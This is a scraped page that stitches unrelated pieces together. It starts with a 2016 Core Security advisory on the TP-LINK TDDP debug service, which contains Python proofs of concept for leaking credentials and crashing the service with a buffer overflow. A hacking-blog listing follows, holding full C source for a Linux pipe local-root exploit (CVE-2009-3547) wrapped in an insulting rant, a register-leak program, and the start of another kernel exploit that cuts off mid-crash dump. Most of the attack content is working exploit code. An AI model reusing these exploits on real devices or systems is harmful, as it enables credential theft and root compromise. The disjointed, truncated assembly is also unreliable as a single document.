1. Advisory Information
Title: TP-LINK TDDP Multiple Vulnerabilities
Advisory ID: CORE-2016-0007
Advisory URL: http://www.coresecurity.com/advisories/tp-link-tddp-multiple-vulnerabilities
Date published: 2016-11-21
Date of last update: 2016-11-18
Vendors contacted: TP-Link
Release mode: User release
2. Vulnerability Information
Class: Missing Authentication for Critical Function [CWE-306], Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [CWE-120]
Impact: Code execution, Information leak
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-pending-assignment-1, CVE-pending-assignment-2
3. Vulnerability Description
TP-LINK [1] ships some of their devices with a debugging protocol activated by default. This debugging protocol is listening on the 1040 UDP port on the LAN interface.
Vulnerabilities were found in the implementation of this protocol, that could lead to remote code execution and information leak (credentials acquisition).
4. Vulnerable Devices
TP-LINK WA5210g. (Firmware v1 and v2 are vulnerable)
Other devices might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
No workarounds are available for this device.
6. Credits
This vulnerability was discovered and researched by Andres Lopez Luksenberg from Core Security Exploit Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.
7. Technical Description / Proof of Concept Code
TP-LINK distributes some of their hardware with a debugging service activate by default. This program uses a custom protocol. Vulnerabilities were found using this protocol, that could lead to remote code execution or information leak.
7.1. Missing Authentication for TDDP v1
[CVE-pending-assignment-1] If version 1 is selected when communicating with the TDDP service, there is a lack of authentication in place. Additionally if the message handler accepts the "Get configuration" message type, this will result in the program leaking the web interface configuration file, which includes the web login credentials.
The following is a proof of concept to demonstrate the vulnerability (Impacket [2] is required for the PoC to work):
import socket
import re
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct
class TDDP(Structure):
structure = (
('version','B=0x1'),
('type','B=0'),
('code','B=0'),
('replyInfo','B=0'),
('packetLength','>L=0'),
('pktID','<H=1'),
('subType','B=0'),
('reserved','B=0'),
('payload',':=""'),
)
def printPayload(self):
print self.getPayloadAsString()
def getPayloadAsString(self):
s=''
for i in range(len(self['payload'])):
s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
return s
class TDDPRequestsPacketBuilder(object):
SET_CONFIG = 1
GET_CONFIG = 2
CMD_SYS0_PR = 3
GET_SERIAL_NUMBER = 5
GET_PRODUCT_ID = 10
def getRequestPacket(self):
tddp = TDDP()
tddp['version'] = 1
tddp['replyInfo'] = 1
return tddp
def getConfigPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_CONFIG
tddp['payload'] = ('\x00'*0x10) + 'all'
tddp['packetLength'] = len(tddp['payload'])
return tddp
def setConfigPacket(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.SET_CONFIG
tddp['payload'] = ('\x00'*0x10) + trail
tddp['packetLength'] = len(tddp['payload'])
return tddp
def getSerialNumberPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_SERIAL_NUMBER
return tddp
def getProductIDPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_PRODUCT_ID
return tddp
def CMD_SYS0_PR_Packet(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.CMD_SYS0_PR
tddp['replyInfo'] = 2
tddp['payload'] = ('\x00'*0x10)
tddp['packetLength'] = len(tddp['payload'])
tddp['payload'] += trail
return tddp
class TPLINKConfig(object):
def __init__(self, aConfig):
self.__parseConfig(aConfig)
def __sanitizeKeyValue(self, k, v):
k = k.replace("\r", "")
k = k.replace("\n", "")
v = v.replace("\r", "")
v = v.replace("\n", "")
return k,v
def __parseConfig(self, aConfig):
self.__key_order = []
self.Header = aConfig[:0x10]
pending = aConfig[0x10:]
k_v = re.findall("(.*?) (.*)", pending)
for k, v in k_v:
k,v = self.__sanitizeKeyValue(k,v)
real_value = v.split(" ")
if len(real_value) == 1:
real_value = real_value[0]
self.__dict__[k] = real_value
self.__key_order.append(k)
def __str__(self):
cfg = []
cfg.append(self.Header)
for k in self.__key_order:
value = self.__dict__[k]
if not isinstance(value, basestring):
str_value = " ".join(value)
else:
str_value = value
line = "%s %s" % (k, str_value)
cfg.append(line)
str_cfg = "\r\n".join(cfg)
return str_cfg
class TDDPSessionV1(object):
def __init__(self, ip, port=1040):
self.ip = ip
self.port = port
self.req_buidler = TDDPRequestsPacketBuilder()
def send(self, aPacket):
self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.conn.sendto(str(aPacket), (self.ip, self.port))
self.conn.close()
def recv(self, n):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(('', 61000))
data, addr = udp.recvfrom(n)
return TDDP(data)
def _send_and_recv(self, packet, n):
self.send(packet)
return self.recv(n)
#####################################
def getConfig(self):
c_packet = self.req_buidler.getConfigPacket()
return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
def getSerialNumber(self):
c_packet = self.req_buidler.getSerialNumberPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def getProductID(self):
c_packet = self.req_buidler.getProductIDPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def setInitState(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
return self._send_and_recv(c_packet, 50000)
def save(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
self._send_and_recv(c_packet, 50000)
def reboot(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
self._send_and_recv(c_packet, 50000)
def clr_dos(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
self._send_and_recv(c_packet, 50000)
def setConfig(self, aConfig):
c_packet = self.req_buidler.setConfigPacket(str(aConfig))
self._send_and_recv(c_packet, 50000)
HOST = "192.168.1.254"
s = TDDPSessionV1(HOST)
config = s.getConfig()
print "user: ", config.lgn_usr
print "pass: ", config.lgn_pwd
7.2. Buffer Overflow in TDDP v1 protocol
[CVE-pending-assignment-2] A buffer overflow vulnerability was found when sending a handcrafted "set configuration" message to the TDDP service with an extensive configuration file and forcing version 1 in the packet.
The following is a proof of concept to demonstrate the vulnerability by crashing the TDDP service (Impacket [2] is required for the PoC to work). To reestablish the TDDP service the device must be restarted:
import socket
import re
import string
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct
class TDDP(Structure):
structure = (
('version','B=0x1'),
('type','B=0'),
('code','B=0'),
('replyInfo','B=0'),
('packetLength','>L=0'),
('pktID','<H=1'),
('subType','B=0'),
('reserved','B=0'),
('payload',':=""'),
)
def printPayload(self):
print self.getPayloadAsString()
def getPayloadAsString(self):
s=''
for i in range(len(self['payload'])):
s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
return s
class TDDPRequestsPacketBuilder(object):
SET_CONFIG = 1
GET_CONFIG = 2
CMD_SYS0_PR = 3
GET_SERIAL_NUMBER = 5
GET_PRODUCT_ID = 10
def getRequestPacket(self):
tddp = TDDP()
tddp['version'] = 1
tddp['replyInfo'] = 1
return tddp
def getConfigPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_CONFIG
tddp['payload'] = ('\x00'*0x10) + 'all'
tddp['packetLength'] = len(tddp['payload'])
return tddp
def setConfigPacket(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.SET_CONFIG
tddp['payload'] = ('\x00'*0x10) + trail
tddp['packetLength'] = len(tddp['payload'])
return tddp
def getSerialNumberPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_SERIAL_NUMBER
return tddp
def getProductIDPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_PRODUCT_ID
return tddp
def CMD_SYS0_PR_Packet(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.CMD_SYS0_PR
tddp['replyInfo'] = 2
tddp['payload'] = ('\x00'*0x10)
tddp['packetLength'] = len(tddp['payload'])
tddp['payload'] += trail
return tddp
class TPLINKConfig(object):
def __init__(self, aConfig):
self.__parseConfig(aConfig)
def __sanitizeKeyValue(self, k, v):
k = k.replace("\r", "")
k = k.replace("\n", "")
v = v.replace("\r", "")
v = v.replace("\n", "")
return k,v
def __parseConfig(self, aConfig):
self.__key_order = []
self.Header = aConfig[:0x10]
pending = aConfig[0x10:]
k_v = re.findall("(.*?) (.*)", pending)
for k, v in k_v:
k,v = self.__sanitizeKeyValue(k,v)
real_value = v.split(" ")
if len(real_value) == 1:
real_value = real_value[0]
self.__dict__[k] = real_value
self.__key_order.append(k)
def __str__(self):
cfg = []
cfg.append(self.Header)
for k in self.__key_order:
value = self.__dict__[k]
if not isinstance(value, basestring):
str_value = " ".join(value)
else:
str_value = value
line = "%s %s" % (k, str_value)
cfg.append(line)
str_cfg = "\r\n".join(cfg)
return str_cfg
class TDDPSessionV1(object):
def __init__(self, ip, port=1040):
self.ip = ip
self.port = port
self.req_buidler = TDDPRequestsPacketBuilder()
def send(self, aPacket):
self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.conn.sendto(str(aPacket), (self.ip, self.port))
self.conn.close()
def recv(self, n):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(('', 61000))
data, addr = udp.recvfrom(n)
return TDDP(data)
def _send_and_recv(self, packet, n):
self.send(packet)
return self.recv(n)
#####################################
def getConfig(self):
c_packet = self.req_buidler.getConfigPacket()
return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
def getSerialNumber(self):
c_packet = self.req_buidler.getSerialNumberPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def getProductID(self):
c_packet = self.req_buidler.getProductIDPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def setInitState(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
return self._send_and_recv(c_packet, 50000)
def save(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
self._send_and_recv(c_packet, 50000)
def reboot(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
self._send_and_recv(c_packet, 50000)
def clr_dos(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
self._send_and_recv(c_packet, 50000)
def setConfig(self, aConfig):
c_packet = self.req_buidler.setConfigPacket(str(aConfig))
self._send_and_recv(c_packet, 50000)
class Exploit(TDDPSessionV1):
def run(self):
c_packet = self.req_buidler.getRequestPacket()
c_packet['type'] = self.req_buidler.SET_CONFIG
c_packet['payload'] = "A"*325
c_packet['packetLength'] = 0x0264
return self.send(c_packet)
HOST = "192.168.1.254"
PORT = 1040
s = Exploit(HOST)
s.run()
8. Report Timeline
2016-10-04: Core Security sent an initial notification to TP-Link.
2016-10-07: Core Security sent a second notification to TP-Link.
2016-10-31: Core Security sent a third notification to TP-Link through Twitter.
2016-11-09: Core Security sent a fourth notification to TP-Link through email and Twitter without receiving any response whatsoever.
2016-11-10: Core Security sent a request to Mitre for two CVE ID's for this advisory.
2016-11-12: Mitre replied that the vulnerabilities didn't affected products that were in the scope for CVE.
2016-11-21: Advisory CORE-2016-0007 published.
9. References
[1] http://www.tplink.com/.
[2] https://www.coresecurity.com/corelabs-research/open-source-tools/impacket.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
11. About Core Security
Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2016 Core Security and (c) 2016 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863109199
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/* exp_moosecox.c
Watch a video of the exploit here:
http://www.youtube.com/watch?v=jt81NvaOj5Y
developed entirely by Ingo Molnar (exploit writer extraordinaire!) ,
thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
dedicated to the Red Hat employees who get paid to copy+paste my
twitter and issue security advisories, their sweet
acknowledgement policy, and general classiness
see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
"policy" aside, there's a word for what you guys are doing: "plagiarism"
in fact, i tested this one day by posting three links to twitter,
without any discussion on any of them. the same day, those three
(and only those three) links were assigned CVEs, even though two of
them weren't even security bugs (it doesn't pay to copy+paste)
official Ingo Molnar (that's me) policy for acknowledgement in
exploits requires general douche-ness or plagiarization
official policy further dictates immediate exploit release for
embargoed, patched bug
I'll be curious to see what the CVE statistics are like for the
kernel this year when they get compiled next year -- I'm predicting
that when someone's watching the sleepy watchers, a more personal
interest is taken in doing the job that you're paid to do correctly.
--------------------------------------------------------------------
Special PS note to Theo (I can do this here because I know he'll
never read it -- the guy is apparently oblivious to the entire world of
security around him -- the same world that invents the protections
years before him that he pats himself on the back for "innovating")
Seriously though, it's incredible to me that an entire team
of developers whose sole purpose is to develop a secure operating
system can be so oblivious to the rest of the world. They haven't
innovated since they replaced exploitable string copies with
exploitable string truncations 6 or so years ago.
The entire joke of a thread can be read here:
http://www.pubbs.net/openbsd/200911/4582/
"Our focus therefore is always on finding innovative ideas which make
bugs very hard to exploit succesfully."
"He's too busy watching monkey porn instead of
building researching last-year's security technology that will stop
an exploit technique that has been exploited multiple times."
"it seems that everyone else is slowly coming around to the
same solution."
So let's talk about this "innovation" of theirs with their
implementation of mmap_min_addr:
They implemented it in 2008, a year after Linux implemented it, a
year after the public phrack article on the bug class, more than a
year after my mail to dailydave with the first public Linux kernel
exploit for the bug class, and over two years after UDEREF was
implemented in PaX (providing complete protection against the smaller
subset of null ptr dereference bugs and the larger class of invalid
userland access in general).
OpenBSD had a public null pointer dereference exploit (agp_ioctl())
published for its OS in January of 2007. It took them over a year
and a half to implement the same feature that was implemented in
Linux a few months after my public exploit in 2007.
So how can it be that "everyone else is slowly coming around to the
same solution" when "everyone else" came to that solution over a
year before you Theo? In fact, I prediced this exact situation would
happen back in 2007 in my DD post:
http://lists.virus.org/dailydave-0703/msg00011.html
"Expect OpenBSD to independently invent a protection against null ptr
deref bugs sometime in 2009."
Let's talk about some more "innovation" -- position independent
executables. PaX implemented position independent executables on
Linux back in 2001 (ET_DYN). PIE binary support was added to GNU
binutils in 2003. Those OpenBSD innovators implemented PIE binaries
in 2008, 7 years after PaX. Innovation indeed!
How about their W^X/ASLR innovation? These plagiarists have the
audacity to announce on their press page:
http://www.openbsd.org/press.html
"Microsoft borrows one of OpenBSD's security features for Vista,
stack/library randomization, under the name Address Space Layout
Randomization (ASLR). "Until now, the feature has been most
prominently used in the OpenBSD Unix variant and the PaX and Exec
Shield security patches for Linux""
Borrowing one of your features? Where'd this ASLR acronym come from
anyway? Oh that's right, PaX again -- when they published the first
design and implementation of it, and coined the term, in July 2001.
It covered the heap, mmap, and stack areas.
OpenBSD implemented "stack-gap randomization" in 2003. Way to
innovate!
W^X, which is a horrible name as OpenBSD doesn't even enforce it with
mprotect restrictions like PaX did from the beginning or even SELinux
is doing now (from a 3rd party contribution modeled after PaX):
PaX implemented true per-page non-executable page support, protecting
binary data, the heap, and the stack, back in 2000.
OpenBSD implemented it in 2003, requiring a full userland rebuild.
The innovation is overwhelming!
They keep coming up with the same exact "innovations" others came up
with years before them. Their official explanation for where they
got the W^X/ASLR ideas was a drunk guy came into their tent at one of
their hack-a-thons and started talking about the idea. They had
never heard of PaX when we asked them in 2003. Which makes the
following involuntarily contributed private ICB logs from Phrack #66
(Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
On some sunny day in July 2002 (t: Theo de Raadt):
<cloder> why can't you just randomize the base
<cloder> that's what PaX does
<t> You've not been paying attention to what art's saying, or you don't
understand yet, either case is one of think it through yourself.
<cloder> whatever
Only to see poetic justice in August 2003 (ttt: Theo again):
<miod> more exactly, we heard of pax when they started bitching
<ttt> miod, that was very well spoken.
That wraps up our OpenBSD history lesson, in case anyone forgot it.
PS -- enjoy that null ptr deref exploit just released for OpenBSD.
--------------------------------------------------------------------
Important final exploit notes:
don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
or DEBUG_SPINLOCK are enabled and modify the structures below
accordingly -- a fancier exploit would do this automatically
I've broken the 2.4->2.6.10 version of the exploit and would like to see
someone fix it ;) See below for more comments on this.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"
int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;
int go_go_speed_racer(void *unused)
{
int ret;
while(!exp_state->got_ring0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
ret = pipe(pipefd);
if (!ret) {
close(pipefd[0]);
close(pipefd[1]);
}
}
return 0;
}
/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
char *stack = malloc(0x4000);
int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
if (tid < 0) {
printf("can't create thread\n");
exit(1);
}
sleep(1);
return tid;
}
char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";
#define PIPE_BUFFERS 16
/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
int can_merge;
void *map;
void *unmap;
void *confirm;
void *release;
void *steal;
void *get;
};
struct pipe_buffer2620ornewer {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buffer2619orolder {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
};
struct pipe_buffer2616orolder {
void *page;
unsigned int offset, len;
void *ops;
};
struct pipe_inode_info2620ornewer {
unsigned int spinlock;
/*
// LOCKBREAK
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};
struct pipe_inode_info2619orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
};
struct pipe_inode_info2616orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
*/
void *owner;
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
};
struct fasync_struct {
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file;
};
struct pipe_inode_info2610orolder {
/* this includes 2.4 kernels */
unsigned long lock; // can be rw or spin
void *next, *prev;
char *base;
unsigned int len;
unsigned int start;
unsigned int readers;
unsigned int writers;
/* 2.4 only */
unsigned int waiting_readers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
/* 2.6 only */
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
int prepare(unsigned char *buf)
{
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
int i;
int newver;
struct utsname unm;
i = uname(&unm);
if (i != 0) {
printf("unable to get kernel version\n");
exit(1);
}
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
newver = 3;
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
newver = 2;
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
newver = 1;
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
// is_old_kernel = 1;
// newver = 0;
} else {
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
exit(1);
}
/* for most of these what will happen is our write will
cause ops->confirm(/pin) to be called, which we've replaced
with own_the_kernel
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
called instead (repeatedly) is the release op
*/
if (newver == 3) {
/* uncomment for DEBUG_SPINLOCK */
//info_new->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_new->next = &info_new->next;
info_new->readers = 1;
info_new->writers = 1;
info_new->nrbufs = 1;
info_new->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_new->bufs[i].ops = (void *)ops;
} else if (newver == 2) {
/* uncomment for DEBUG_SPINLOCK */
//info_old->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_old->next = &info_old->next;
info_old->readers = 1;
info_old->writers = 1;
info_old->nrbufs = 1;
info_old->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_old->bufs[i].ops = (void *)ops;
} else if (newver == 1) {
/* uncomment for DEBUG_SPINLOCK */
//info_older->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_older->next = &info_older->next;
info_older->readers = 1;
info_older->writers = 1;
info_older->nrbufs = 1;
info_older->curbuf = 1;
/* we'll get called multiple times from free_pipe_info
but it's ok because own_the_kernel handles this case
*/
for (i = 0; i < PIPE_BUFFERS; i++)
info_older->bufs[i].ops = (void *)ops;
} else {
/*
different ballgame here, instead of being able to
provide a function pointer in the ops table, you
control a base address used to compute the address for
a copy into the kernel via copy_from_user. The
following should get you started.
*/
/* lookup symbol for writable fptr then trigger it later
change the main write in the one thread to write out
pointers with the value of exp_state->exploit_kernel
*/
info_oldest->base = (char *)0xc8000000;
info_oldest->readers = 1;
info_oldest->writers = 1;
return 0;
}
ops->can_merge = 1;
for (i = 0; i < 16; i++)
((void **)&ops->map)[i] = exp_state->own_the_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
char buf[128];
int fd;
int i = 0;
/* ignore sigpipe so we don't bail out early */
signal(SIGPIPE, SIG_IGN);
start_thread(go_go_speed_racer, NULL);
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
fflush(stdout);
while (!exp_state->got_ring0 && i < 10000000) {
fd = pipefd[1];
sprintf(buf, "/proc/self/fd/%d", fd);
fd = open(buf, O_WRONLY | O_NONBLOCK);
if (fd >= 0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
write(fd, ".", 1);
close(fd);
}
i++;
}
if (!exp_state->got_ring0) {
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
return 0;
}
return 1;
}
int post(void)
{
// return RUN_ROOTSHELL;
return FUNNY_PIC_AND_ROOTSHELL;
}
/* written by Ingo Molnar -- it's true because this comment says the exploit
was written by him!
*/
#include <stdio.h>
#include <sys/syscall.h>
unsigned int _r81;
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;
int leak_it(void)
{
asm volatile (
".intel_syntax noprefix\n"
".code32\n"
"jmp label1\n"
"farcalllabel1:\n"
".code64\n"
"mov eax, r8d\n"
"shr r8, 32\n"
"mov ebx, r8d\n"
"mov ecx, r9d\n"
"shr r9, 32\n"
"mov edx, r9d\n"
"mov esi, r10d\n"
"shr r10, 32\n"
"mov edi, r10d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
"farcalllabel2:\n"
"mov eax, r11d\n"
"shr r11, 32\n"
"mov ebx, r11d\n"
"mov ecx, r12d\n"
"shr r12, 32\n"
"mov edx, r12d\n"
"mov esi, r13d\n"
"shr r13, 32\n"
"mov edi, r13d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
"farcalllabel3:\n"
"mov eax, r14d\n"
"shr r14, 32\n"
"mov ebx, r14d\n"
"mov ecx, r15d\n"
"shr r15, 32\n"
"mov edx, r15d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
".code32\n"
"label1:\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel1\n"
".intel_syntax noprefix\n"
"mov _r81, eax\n"
"mov _r82, ebx\n"
"mov _r91, ecx\n"
"mov _r92, edx\n"
"mov _r101, esi\n"
"mov _r102, edi\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel2\n"
".intel_syntax noprefix\n"
"mov _r111, eax\n"
"mov _r112, ebx\n"
"mov _r121, ecx\n"
"mov _r122, edx\n"
"mov _r131, esi\n"
"mov _r132, edi\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel3\n"
".intel_syntax noprefix\n"
"mov _r141, eax\n"
"mov _r142, ebx\n"
"mov _r151, ecx\n"
"mov _r152, edx\n"
".att_syntax noprefix\n"
);
printf(" R8=%08x%08x\n", _r82, _r81);
printf(" R9=%08x%08x\n", _r92, _r91);
printf("R10=%08x%08x\n", _r102, _r101);
printf("R11=%08x%08x\n", _r112, _r111);
printf("R12=%08x%08x\n", _r122, _r121);
printf("R13=%08x%08x\n", _r132, _r131);
printf("R14=%08x%08x\n", _r142, _r141);
printf("R15=%08x%08x\n", _r152, _r151);
return 0;
}
/* ripped from jon oberheide */
const int randcalls[] = {
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
__NR_sched_getparam, __NR_sched_get_priority_max
};
int main(void)
{
/* to keep random stack values from being used for pointers in syscalls */
char buf[64] = {};
int call;
for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
syscall(randcalls[call]);
leak_it();
}
}
/* sieve (because the Linux kernel leaks like one, get it?)
Bug NOT discovered by Marcus Meissner of SuSE security
This bug was discovered by Ramon de Carvalho Valle in September of 2009
The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
for the bug (but had forgotten about it until now)
Ramon's report was sent to Novell's internal bugzilla, upon which
some months later Marcus took credit for discovering someone else's bug
Maybe he thought he could get away with it ;) Almost ;)
greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
first exploit of 2010, next one will be for a bugclass that has
afaik never been exploited on Linux before
note that this bug can also cause a DoS like so:
Unable to handle kernel paging request at ffffffff833c3be8 RIP:
[<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0
Oops: 0000 [1] SMP
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>]
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
